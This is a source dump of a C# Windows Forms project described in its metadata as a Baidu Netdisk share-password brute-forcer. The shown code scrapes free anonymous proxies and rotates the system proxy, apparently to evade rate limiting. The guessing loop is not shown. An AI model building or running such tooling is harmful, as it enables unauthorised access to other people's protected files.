Sg4gBn700mYnAPsCh9I3iJiK80koBvg7n6gB/h5MoDqA54F3gIeBR8xquk78Tdd4PDXCTdXNEa4AlCAm
XuCtQXZuWRBLfd0OIu6H9gyOQq9vsBdQM8Shzc003Qgn2YhDqqEbAx/qWFHgXXQ9/WXAo1LKV5xj9YbG
UW3eWBTL7dfnBzcVuASxG7rp7zNyXJuMdOspygB2tHuZ/QOALxCahBB7gjgAZR0GzAQawTMCKert3QSW
AuK5ykhMMXQPSMcmS3VBfAewA3gFIZ8D9SpKvRcJB9cMdFB/c5v0+WH7hgVWfwLoUjhcD6AEGTmuTcZj
iI4tC4bs/9Y3Xd2kUJOFEJO8NXIvy2JiLM4o4rExwGj942lBCp/9lqHiCLp7YakIxLcBm4HNeLybvB62
SMnaWNR6Vym1RiDe7++pnkrTqDaPx4vavsEN4hUa1wMoQ1INJdDaJmpqEPGYfiI7hcE2wFftn0EZOa5N
xuPUxXqsGuERtcpSNQBCiqiKq15vnYx6PPRka6hNo9o8AB4vKhpNuvTpCJlLcXAFoAxwdBkSBFrbEr54
TQ0iFtNP9sFcatuwu+2frGgc1eYF8HqxotHkNYW3LlCuoZcfrgCUKSkBs0Q8wYlTJJzU1PQfxHMa9EDn
cvvslcWQMQAXF5fKxfUAXFyqGFcAXFyqGFcAXFyqGFcAXFyqGFcAXFyqGFcAXFyqGFcAXFyqmP8PdyBm
m10LB/oAAAAASUVORK5CYII=
================================================
FILE: TestPassword V1.8.1.0/TestPassword/Program.cs
================================================
using System;
using System.Threading;
using System.Windows.Forms;
namespace zgcwkj
{
internal static class Program
{
///
/// 应用程序的主入口点。
///
[STAThread]
private static void Main()
{
// 在此方法返回时,如果创建了局部互斥体(即,如果 name 为 null 或空字符串)或指定的命名系统互斥体,则包含布尔值 true
// 如果指定的命名系统互斥体已存在,则为false
using (Mutex mutex = new Mutex(true, Application.ProductName, out bool Uniquely_Identifies_TestPassword))
{
if (Uniquely_Identifies_TestPassword)
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
new HttpProxy().SwitchOff();
Application.Run(new Main());
}
else//程序已经运行的情况,则弹出消息提示并终止此次运行
{
MessageBox.Show("应用程序已经启动了");
System.Threading.Thread.Sleep(1000);
// 终止此进程并为基础操作系统提供指定的退出代码。
System.Environment.Exit(1);
}
}
}
}
}
================================================
FILE: TestPassword V1.8.1.0/TestPassword/Properties/AssemblyInfo.cs
================================================
using System.Reflection;
using System.Runtime.InteropServices;
// 有关程序集的一般信息由以下
// 控制。更改这些特性值可修改
// 与程序集关联的信息。
[assembly: AssemblyTitle("百度网盘分享文件密码测试器")]
[assembly: AssemblyDescription("百度网盘分享文件密码进行无穷测试工具")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("zgcwkj")]
[assembly: AssemblyProduct("百度网盘分享文件密码测试器")]
[assembly: AssemblyCopyright("Copyright © 2018")]
[assembly: AssemblyTrademark("zgcwkj")]
[assembly: AssemblyCulture("")]
//将 ComVisible 设置为 false 将使此程序集中的类型
//对 COM 组件不可见。 如果需要从 COM 访问此程序集中的类型,
//请将此类型的 ComVisible 特性设置为 true。
[assembly: ComVisible(false)]
// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
[assembly: Guid("ac42684f-60e0-464c-881d-b679da8d8a7b")]
// 程序集的版本信息由下列四个值组成:
//
// 主版本
// 次版本
// 生成号
// 修订号
//
//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值,
// 方法是按如下所示使用“*”: :
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.8.1.0")]
[assembly: AssemblyFileVersion("1.8.1.0")]
================================================
FILE: TestPassword V1.8.1.0/TestPassword/Properties/Resources.Designer.cs
================================================
//------------------------------------------------------------------------------
//
// 此代码由工具生成。
// 运行时版本:4.0.30319.42000
//
// 对此文件的更改可能会导致不正确的行为,并且如果
// 重新生成代码,这些更改将会丢失。
//
//------------------------------------------------------------------------------
namespace zgcwkj.Properties {
using System;
///
/// 一个强类型的资源类,用于查找本地化的字符串等。
///
// 此类是由 StronglyTypedResourceBuilder
// 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
// 若要添加或移除成员,请编辑 .ResX 文件,然后重新运行 ResGen
// (以 /str 作为命令选项),或重新生成 VS 项目。
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
///
/// 返回此类使用的缓存的 ResourceManager 实例。
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("zgcwkj.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
///
/// 使用此强类型资源类,为所有资源查找
/// 重写当前线程的 CurrentUICulture 属性。
///
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
}
}
================================================
FILE: TestPassword V1.8.1.0/TestPassword/Properties/Resources.resx
================================================
text/microsoft-resx
2.0
System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
================================================
FILE: TestPassword V1.8.1.0/TestPassword/Properties/Settings.Designer.cs
================================================
//------------------------------------------------------------------------------
//
// 此代码由工具生成。
// 运行时版本:4.0.30319.42000
//
// 对此文件的更改可能会导致不正确的行为,并且如果
// 重新生成代码,这些更改将会丢失。
//
//------------------------------------------------------------------------------
namespace zgcwkj.Properties {
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "14.0.0.0")]
internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase {
private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings())));
public static Settings Default {
get {
return defaultInstance;
}
}
}
}
================================================
FILE: TestPassword V1.8.1.0/TestPassword/Properties/Settings.settings
================================================
================================================
FILE: TestPassword V1.8.1.0/TestPassword/Proxy.Designer.cs
================================================
namespace zgcwkj
{
partial class Proxy
{
///
/// Required designer variable.
///
private System.ComponentModel.IContainer components = null;
///
/// Clean up any resources being used.
///
/// true if managed resources should be disposed; otherwise, false.
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
///
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
///
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Proxy));
this.txt_1 = new System.Windows.Forms.Label();
this.txt = new System.Windows.Forms.Label();
this.SuspendLayout();
//
// txt_1
//
this.txt_1.Font = new System.Drawing.Font("宋体", 13F);
this.txt_1.Location = new System.Drawing.Point(14, 57);
this.txt_1.Name = "txt_1";
this.txt_1.Size = new System.Drawing.Size(183, 23);
this.txt_1.TabIndex = 0;
this.txt_1.Text = "000.000.000.000:0000";
//
// txt
//
this.txt.AutoSize = true;
this.txt.Font = new System.Drawing.Font("宋体", 14F);
this.txt.Location = new System.Drawing.Point(12, 28);
this.txt.Name = "txt";
this.txt.Size = new System.Drawing.Size(143, 19);
this.txt.TabIndex = 1;
this.txt.Text = "当前尝试的IP:";
//
// Proxy
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(204, 111);
this.Controls.Add(this.txt);
this.Controls.Add(this.txt_1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MaximumSize = new System.Drawing.Size(220, 150);
this.MinimizeBox = false;
this.MinimumSize = new System.Drawing.Size(220, 150);
this.Name = "Proxy";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "自动代理服务";
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Label txt_1;
private System.Windows.Forms.Label txt;
}
}
================================================
FILE: TestPassword V1.8.1.0/TestPassword/Proxy.cs
================================================
using Microsoft.Win32;
using System;
using System.IO;
using System.Text.RegularExpressions;
using System.Threading;
using System.Windows.Forms;
namespace zgcwkj
{
public partial class Proxy : Form
{
HttpProxy httpProxy = new HttpProxy();
public Proxy()
{
InitializeComponent();
//记录Goto的次数
int i = 0;
//Goto 重新获取IP启动代理服务
Retry:
//关闭代理服务
if (httpProxy.GetSwitchState()) { httpProxy.SwitchOff(); }
i++;
if (i > 10)
{
MessageBox.Show("很抱歉程序暂时无法使用");
Application.Exit();
}
string ip = httpProxy.GetProxyIp();
//通过API获取代理数据
try
{
if (!File.Exists(StaticClass.proxy)) { ObtainIP(); }
if (File.ReadAllText(StaticClass.proxy) == "") { ObtainIP(); }
if (File.ReadAllText(StaticClass.proxy) == "\r\n") { ObtainIP(); }
string proxy = File.ReadAllText(StaticClass.proxy);
string[] proxys = proxy.Replace("\r", "").Split('\n');
ip = proxys[0];
File.Delete(StaticClass.proxy);
File.AppendAllText(StaticClass.proxy, proxy.Replace(ip + "\r\n", ""));
}
catch (Exception e)
{
string str = e.Message;
}
httpProxy.SwitchOn(ip);
try
{
txt_1.Text = ip;
HttpHelp.HttpGet("https://blog.zgcwkj.top");
Close();
}
catch (Exception e)
{
string str = e.Message;
httpProxy.SwitchOff();
//Goto 重试
goto Retry;
}
}
///
/// 获取IP
///
private void ObtainIP()
{
File.Delete(StaticClass.proxy);
//国内普通代理
CrawlIP("https://www.kuaidaili.com/free/intr/1");
CrawlIP("https://www.kuaidaili.com/free/intr/2");
CrawlIP("https://www.kuaidaili.com/free/intr/3");
CrawlIP("https://www.kuaidaili.com/free/intr/4");
CrawlIP("https://www.kuaidaili.com/free/intr/5");
CrawlIP("https://www.kuaidaili.com/free/intr/6");
CrawlIP("https://www.kuaidaili.com/free/intr/7");
CrawlIP("https://www.kuaidaili.com/free/intr/8");
CrawlIP("https://www.kuaidaili.com/free/intr/9");
CrawlIP("https://www.kuaidaili.com/free/intr/10");
CrawlIP("https://www.kuaidaili.com/free/intr/11");
CrawlIP("https://www.kuaidaili.com/free/intr/12");
CrawlIP("https://www.kuaidaili.com/free/intr/13");
CrawlIP("https://www.kuaidaili.com/free/intr/14");
CrawlIP("https://www.kuaidaili.com/free/intr/15");
CrawlIP("https://www.kuaidaili.com/free/intr/16");
CrawlIP("https://www.kuaidaili.com/free/intr/17");
CrawlIP("https://www.kuaidaili.com/free/intr/18");
CrawlIP("https://www.kuaidaili.com/free/intr/19");
CrawlIP("https://www.kuaidaili.com/free/intr/20");
//国内高匿代理
CrawlIP("https://www.kuaidaili.com/free/inha/1");
CrawlIP("https://www.kuaidaili.com/free/inha/2");
CrawlIP("https://www.kuaidaili.com/free/inha/3");
CrawlIP("https://www.kuaidaili.com/free/inha/4");
CrawlIP("https://www.kuaidaili.com/free/inha/5");
CrawlIP("https://www.kuaidaili.com/free/inha/6");
CrawlIP("https://www.kuaidaili.com/free/inha/7");
CrawlIP("https://www.kuaidaili.com/free/inha/8");
CrawlIP("https://www.kuaidaili.com/free/inha/9");
CrawlIP("https://www.kuaidaili.com/free/inha/10");
CrawlIP("https://www.kuaidaili.com/free/inha/11");
CrawlIP("https://www.kuaidaili.com/free/inha/12");
CrawlIP("https://www.kuaidaili.com/free/inha/13");
CrawlIP("https://www.kuaidaili.com/free/inha/14");
CrawlIP("https://www.kuaidaili.com/free/inha/15");
CrawlIP("https://www.kuaidaili.com/free/inha/16");
CrawlIP("https://www.kuaidaili.com/free/inha/17");
CrawlIP("https://www.kuaidaili.com/free/inha/18");
CrawlIP("https://www.kuaidaili.com/free/inha/19");
CrawlIP("https://www.kuaidaili.com/free/inha/20");
}
///
/// 抓取IP
///
/// 地址
private void CrawlIP(string url)
{
Thread.Sleep(50);
//Goto 重新获取代理IP
RetryUrl:
string str = HttpHelp.HttpGet(url);
if (str == "" || str.Contains("-10"))
{
httpProxy.SwitchOff();
goto RetryUrl;
}
string tbody = Regex.Match(str.Replace(" ", "").Replace("\r", "").Replace("\n", ""), @".+").ToString();
//Goto 重新获取代理IP
RetryIP:
string proxya = Regex.Match(tbody, ".+?").ToString();
string proxyb = Regex.Match(tbody, ".+?").ToString();
if (proxya == "" || proxyb == "") { return; }
string _proxya = proxya.Replace("", "").Replace("", "");
string _proxyb = proxyb.Replace("", "").Replace("", "");
File.AppendAllText(StaticClass.proxy, _proxya + ":" + _proxyb + "\r\n");
tbody = tbody.Replace(proxya, "").Replace(proxyb, "");
goto RetryIP;
}
}
}
================================================
FILE: TestPassword V1.8.1.0/TestPassword/Proxy.resx
================================================
text/microsoft-resx
2.0
System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw
SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp
bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i
YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg
MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v
d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv
biByZGY6YWJvdXQ9IiIKICAgICAgICAgICAgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hh
cC8xLjAvIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2RjL2VsZW1lbnRzLzEu
MS8iCiAgICAgICAgICAgIHhtbG5zOnBob3Rvc2hvcD0iaHR0cDovL25zLmFkb2JlLmNvbS9waG90b3No
b3AvMS4wLyIKICAgICAgICAgICAgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEu
MC9tbS8iCiAgICAgICAgICAgIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAv
c1R5cGUvUmVzb3VyY2VFdmVudCMiCiAgICAgICAgICAgIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9i
ZS5jb20vdGlmZi8xLjAvIgogICAgICAgICAgICB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29t
L2V4aWYvMS4wLyI+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+QWRvYmUgUGhvdG9zaG9wIENDIDIw
MTcgKFdpbmRvd3MpPC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6Q3JlYXRlRGF0ZT4yMDE3
LTEyLTI4VDExOjE4OjI5KzA4OjAwPC94bXA6Q3JlYXRlRGF0ZT4KICAgICAgICAgPHhtcDpNb2RpZnlE
YXRlPjIwMTctMTItMjhUMTE6MjI6MTYrMDg6MDA8L3htcDpNb2RpZnlEYXRlPgogICAgICAgICA8eG1w
Ok1ldGFkYXRhRGF0ZT4yMDE3LTEyLTI4VDExOjIyOjE2KzA4OjAwPC94bXA6TWV0YWRhdGFEYXRlPgog
ICAgICAgICA8ZGM6Zm9ybWF0PmltYWdlL3BuZzwvZGM6Zm9ybWF0PgogICAgICAgICA8cGhvdG9zaG9w
OkNvbG9yTW9kZT4zPC9waG90b3Nob3A6Q29sb3JNb2RlPgogICAgICAgICA8eG1wTU06SW5zdGFuY2VJ
RD54bXAuaWlkOjA5MjQ3MDk1LWVkMTItZjg0NS04OWU1LWQwYjg5YmFkNTMyMDwveG1wTU06SW5zdGFu
Y2VJRD4KICAgICAgICAgPHhtcE1NOkRvY3VtZW50SUQ+YWRvYmU6ZG9jaWQ6cGhvdG9zaG9wOjQyYTRl
YzRkLWViN2UtMTFlNy04MjNjLWRkYjI5ZTNjOGY5YTwveG1wTU06RG9jdW1lbnRJRD4KICAgICAgICAg
PHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD54bXAuZGlkOjY2MTA3MzA5LWJhZmYtMzE0ZC1iNTU3LWUw
MTVlMWQyYjYzMzwveG1wTU06T3JpZ2luYWxEb2N1bWVudElEPgogICAgICAgICA8eG1wTU06SGlzdG9y
eT4KICAgICAgICAgICAgPHJkZjpTZXE+CiAgICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlw
ZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6YWN0aW9uPmNyZWF0ZWQ8L3N0RXZ0
OmFjdGlvbj4KICAgICAgICAgICAgICAgICAgPHN0RXZ0Omluc3RhbmNlSUQ+eG1wLmlpZDo2NjEwNzMw
OS1iYWZmLTMxNGQtYjU1Ny1lMDE1ZTFkMmI2MzM8L3N0RXZ0Omluc3RhbmNlSUQ+CiAgICAgICAgICAg
ICAgICAgIDxzdEV2dDp3aGVuPjIwMTctMTItMjhUMTE6MTg6MjkrMDg6MDA8L3N0RXZ0OndoZW4+CiAg
ICAgICAgICAgICAgICAgIDxzdEV2dDpzb2Z0d2FyZUFnZW50PkFkb2JlIFBob3Rvc2hvcCBDQyAyMDE3
IChXaW5kb3dzKTwvc3RFdnQ6c29mdHdhcmVBZ2VudD4KICAgICAgICAgICAgICAgPC9yZGY6bGk+CiAg
ICAgICAgICAgICAgIDxyZGY6bGkgcmRmOnBhcnNlVHlwZT0iUmVzb3VyY2UiPgogICAgICAgICAgICAg
ICAgICA8c3RFdnQ6YWN0aW9uPnNhdmVkPC9zdEV2dDphY3Rpb24+CiAgICAgICAgICAgICAgICAgIDxz
dEV2dDppbnN0YW5jZUlEPnhtcC5paWQ6MDkyNDcwOTUtZWQxMi1mODQ1LTg5ZTUtZDBiODliYWQ1MzIw
PC9zdEV2dDppbnN0YW5jZUlEPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6d2hlbj4yMDE3LTEyLTI4
VDExOjIyOjE2KzA4OjAwPC9zdEV2dDp3aGVuPgogICAgICAgICAgICAgICAgICA8c3RFdnQ6c29mdHdh
cmVBZ2VudD5BZG9iZSBQaG90b3Nob3AgQ0MgMjAxNyAoV2luZG93cyk8L3N0RXZ0OnNvZnR3YXJlQWdl
bnQ+CiAgICAgICAgICAgICAgICAgIDxzdEV2dDpjaGFuZ2VkPi88L3N0RXZ0OmNoYW5nZWQ+CiAgICAg
ICAgICAgICAgIDwvcmRmOmxpPgogICAgICAgICAgICA8L3JkZjpTZXE+CiAgICAgICAgIDwveG1wTU06
SGlzdG9yeT4KICAgICAgICAgPHRpZmY6T3JpZW50YXRpb24+MTwvdGlmZjpPcmllbnRhdGlvbj4KICAg
ICAgICAgPHRpZmY6WFJlc29sdXRpb24+NzIwMDAwLzEwMDAwPC90aWZmOlhSZXNvbHV0aW9uPgogICAg
ICAgICA8dGlmZjpZUmVzb2x1dGlvbj43MjAwMDAvMTAwMDA8L3RpZmY6WVJlc29sdXRpb24+CiAgICAg
ICAgIDx0aWZmOlJlc29sdXRpb25Vbml0PjI8L3RpZmY6UmVzb2x1dGlvblVuaXQ+CiAgICAgICAgIDxl
eGlmOkNvbG9yU3BhY2U+NjU1MzU8L2V4aWY6Q29sb3JTcGFjZT4KICAgICAgICAgPGV4aWY6UGl4ZWxY
RGltZW5zaW9uPjI1NjwvZXhpZjpQaXhlbFhEaW1lbnNpb24+CiAgICAgICAgIDxleGlmOlBpeGVsWURp
bWVuc2lvbj4yNTY8L2V4aWY6UGl4ZWxZRGltZW5zaW9uPgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4K
ICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
